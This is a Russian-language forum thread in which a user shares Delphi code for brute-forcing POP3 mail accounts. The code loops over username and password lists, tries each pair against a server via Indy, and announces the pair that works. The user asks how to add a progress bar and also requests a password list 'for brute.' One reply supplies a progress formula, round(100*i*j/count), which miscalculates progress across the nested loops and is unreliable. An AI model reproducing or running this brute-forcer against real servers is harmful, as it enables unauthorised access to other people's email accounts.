куда лучше вставить прогресс бар?

[megostudent]

куда и как лучше вставить прогрессбар? чтобы показывал проценты перебора

//создаем массивстрок
LoginStrings:=TStringList.Create;
PassStrings:=TstringList.Create;
//загружаем варианты- справочник имен и паролей
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text);
//устанавливаем адресс и порт сервера
IdPOP31.Host:=ServerNameEdit.Text;
IdPOP31.Port:=StrToInt(PortEdit.Text);
//начинаем перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
//передаем имя и пароль компоненту
IdPOP31.Username:=LoginStrings.Strings[i];
IdPOP31.Password:=PassStrings.Strings[j];
//попытка соединения
try
IdPOP31.Connect;
except
end;
  //если соединение установлено, то выводим об этом сообщение
  if IdPOP31.Connected then
  begin
  //показываем найденный пароль
  Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
  'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
  IdPOP31.Disconnect;
  Exit;
  end;
  end;
  //уничтожаем массивы строк
  LoginStrings.Free;
  PassStrings.Free;

[Stilet]

Ну явно во внутренний цикл.
И не забыть Application.ProcessMessages

[megostudent]

может у кого есть хороший сборник паролей для брута?

[JUDAS]

//начинаем перебор
count := LoginStrings.Count*PassStrings.Count;
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
  ProgressBar1.Position:=round(100*i*j/count);
  Application.ProcessMessages;
 //передаем имя и пароль компоненту